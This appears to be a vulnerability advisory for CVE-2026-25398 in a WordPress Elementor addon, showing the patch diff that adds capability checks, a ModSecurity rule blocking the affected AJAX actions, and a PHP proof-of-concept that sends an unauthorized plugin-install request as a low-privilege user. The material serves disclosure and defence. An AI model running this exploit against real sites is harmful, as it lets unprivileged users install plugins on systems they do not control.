CVE-2026-25398: Vertex Addons for Elementor <= 1.6.4 – Missing Authorization (addons-for-elementor-builder)

--- a/addons-for-elementor-builder/addons-for-elementor-builder.php
+++ b/addons-for-elementor-builder/addons-for-elementor-builder.php
@@ -3,7 +3,7 @@
  * Plugin Name: Vertex Addons for Elementor
  * Plugin URI: https://vertexaddons.com/
  * Description: Just one plugin instead of a lot!
- * Version: 1.6.4
+ * Version: 1.7.0
  * Author: Webilia
  * Author URI: https://webilia.com/
  * License: GPL v2 or later
--- a/addons-for-elementor-builder/afeb.php
+++ b/addons-for-elementor-builder/afeb.php
@@ -22,7 +22,7 @@
      *
      * @var string
      */
-    public $version = '1.6.4';
+    public $version = '1.7.0';

     /**
      * The single instance of the class
--- a/addons-for-elementor-builder/app/Ajax.php
+++ b/addons-for-elementor-builder/app/Ajax.php
@@ -224,10 +224,14 @@
     {
         check_ajax_referer('afeb_ajax_nonce', 'nonce');

-        $error = '';
-
         if (!current_user_can('install_plugins'))
-            $error = esc_html__('Sorry, you are not allowed to install plugins on this site.', 'addons-for-elementor-builder');
+        {
+            wp_send_json_error([
+                'message' => esc_html__('Sorry, you are not allowed to install plugins on this site.', 'addons-for-elementor-builder'),
+            ], 403);
+        }
+
+        $error = '';

         $plugins = isset($_POST['plugins']) ? map_deep($_POST['plugins'], 'sanitize_text_field') : [];
         $time_limit = ini_get('max_execution_time');
@@ -294,6 +298,13 @@
     {
         check_ajax_referer('afeb_ajax_nonce', 'nonce');

+        if (!current_user_can('manage_options'))
+        {
+            wp_send_json_error([
+                'message' => esc_html__('Sorry, you are not allowed to import template kit settings on this site.', 'addons-for-elementor-builder'),
+            ], 403);
+        }
+
         $time_limit = ini_get('max_execution_time');

         if (!did_action('elementor/loaded') || !class_exists(Plugin::class))
@@ -386,6 +397,13 @@
     {
         check_ajax_referer('afeb_ajax_nonce', 'nonce');

+        if (!current_user_can('manage_options'))
+        {
+            wp_send_json_error([
+                'message' => esc_html__('Sorry, you are not allowed to import template kits on this site.', 'addons-for-elementor-builder'),
+            ], 403);
+        }
+
         $args = [
             'post_type' => [
                 'page',
--- a/addons-for-elementor-builder/app/Assets.php
+++ b/addons-for-elementor-builder/app/Assets.php
@@ -38,14 +38,14 @@
         {
             add_action('wp_enqueue_scripts', function ()
             {
-                wp_enqueue_script('wc-add-to-cart');
+                $this->enqueue_wc_add_to_cart_script();

                 $this->woo_product_image_style();
                 $this->woo_product_image_script();
                 $this->product_image();
                 $this->add_to_cart();
                 $this->woo_product_tags_style();
-            });
+            }, 20);
         }

         if (is_admin())
@@ -67,7 +67,7 @@
             });
         }

-        add_action('wp_enqueue_scripts', [$this, 'woo_add_to_cart_script']);
+        add_action('wp_enqueue_scripts', [$this, 'woo_add_to_cart_script'], 20);
         add_action('elementor/editor/after_enqueue_styles', [$this, 'elementor_editor_styles']);
         add_action('elementor/editor/after_enqueue_scripts', [$this, 'editor_script']);
     }
@@ -184,18 +184,7 @@

     public function add_to_cart()
     {
-        wp_enqueue_script(
-            'afeb-woo-atc-redirect',
-            $this->assets_url('js/afeb-woo-atc-redirect.js'),
-            ['jquery', 'wc-add-to-cart'],
-            AFEB_VERSION,
-            true
-        );
-        // Localize redirect URLs from WooCommerce
-        wp_localize_script('afeb-woo-atc-redirect', 'afeb_atc_params', [
-            'cart_url' => function_exists('wc_get_cart_url') ? wc_get_cart_url() : '',
-            'checkout_url' => function_exists('wc_get_checkout_url') ? wc_get_checkout_url() : '',
-        ]);
+        $this->enqueue_add_to_cart_redirect_script();

         add_action('elementor/frontend/after_register_styles', function ()
         {
@@ -1528,19 +1517,35 @@

     public function woo_add_to_cart_script()
     {
-        if (class_exists('WooCommerce'))
+        $this->enqueue_wc_add_to_cart_script();
+        $this->enqueue_add_to_cart_redirect_script();
+    }
+
+    private function enqueue_wc_add_to_cart_script()
+    {
+        if (wp_script_is('wc-add-to-cart', 'registered'))
         {
             wp_enqueue_script('wc-add-to-cart');
         }
+    }
+
+    private function enqueue_add_to_cart_redirect_script()
+    {
+        $is_enqueued = wp_script_is('afeb-woo-atc-redirect', 'enqueued');

         wp_enqueue_script(
             'afeb-woo-atc-redirect',
             $this->assets_url('js/afeb-woo-atc-redirect.js'),
-            ['jquery', 'wc-add-to-cart'],
+            ['jquery'],
             AFEB_VERSION,
             true
         );

+        if ($is_enqueued)
+        {
+            return;
+        }
+
         wp_localize_script('afeb-woo-atc-redirect', 'afeb_atc_params', [
             'cart_url' => function_exists('wc_get_cart_url') ? wc_get_cart_url() : '',
             'checkout_url' => function_exists('wc_get_checkout_url') ? wc_get_checkout_url() : '',
--- a/addons-for-elementor-builder/html/admin/menus/dashboard/fragments/content/dashboard/tpl.php
+++ b/addons-for-elementor-builder/html/admin/menus/dashboard/fragments/content/dashboard/tpl.php
@@ -55,6 +55,15 @@

                 <div class="afeb-changelog-list-box">
                     <div class="afeb-changelog-date">
+                        <?php esc_html_e('March 25, 2026', 'addons-for-elementor-builder'); ?>
+                        <span class="afeb-changelog-version"><?php esc_html_e('Version 1.7.0', 'addons-for-elementor-builder'); ?></span>
+                    </div>
+                    <ul class="afeb-changelog-list">
+                        <li><?php esc_html_e('Improved : Made frontend dialogs more reliable.', 'addons-for-elementor-builder'); ?></li>
+                        <li><?php esc_html_e('Fixed : Better protected required plugin activation and Templates Kit imports.', 'addons-for-elementor-builder'); ?></li>
+                        <li><?php esc_html_e('Fixed : Improved support for custom scripts in the Custom CSS/JS Extension.', 'addons-for-elementor-builder'); ?></li>
+                    </ul>
+                    <div class="afeb-changelog-date">
                         <?php esc_html_e('February 27, 2026', 'addons-for-elementor-builder'); ?>
                         <span class="afeb-changelog-version"><?php esc_html_e('Version 1.6.4', 'addons-for-elementor-builder'); ?></span>
                     </div>

# Atomic Edge WAF Rule - CVE-2026-25398
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100025398,phase:2,deny,status:403,chain,msg:'CVE-2026-25398 - Vertex Addons for Elementor Missing Authorization Exploit Attempt',severity:'CRITICAL',tag:'CVE-2026-25398',tag:'WordPress',tag:'Plugin',tag:'Vertex-Addons'"
  SecRule ARGS_POST:action "@pm afeb_install_plugins afeb_import_template_kit_settings afeb_import_template_kit" "chain"
    SecRule &ARGS_POST:nonce "!@eq 1" "t:none,setvar:'tx.cve_2026_25398_score=+%{tx.critical_anomaly_score}',setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}'"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25398 - Vertex Addons for Elementor <= 1.6.4 - Missing Authorization

<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber'; // Attacker's low-privilege username
$password = 'password'; // Attacker's password

// Step 1: Authenticate and obtain a session cookie and nonce.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookie.txt');

// Perform a login to get a valid session.
// In a real scenario, you would need to simulate a WordPress login via wp-login.php
// or have a valid subscriber session. This PoC assumes you have a valid session cookie.
// For demonstration, we assume the nonce is available on a page accessible to the subscriber.
// The nonce is generated via 'afeb_ajax_nonce' and is typically enqueued in the admin area.

// Step 2: Fetch a page containing the nonce (e.g., the plugin's admin page).
// This step is highly environment-dependent. The nonce may be printed via wp_localize_script.
// For this PoC, we assume the variable $nonce is obtained.
$nonce = 'EXTRACTED_NONCE'; // Replace with a nonce extracted from the page source.

// Step 3: Craft the unauthorized plugin installation request.
$post_fields = [
    'action' => 'afeb_install_plugins',
    'nonce' => $nonce,
    'plugins' => ['hello-dolly'] // Plugin slug to install
];

curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Code: $http_coden";
echo "Response: $responsen";

// A successful exploitation attempt on a vulnerable version will return a JSON response
// indicating plugin installation progress, without a 403 error.

curl_close($ch);

?>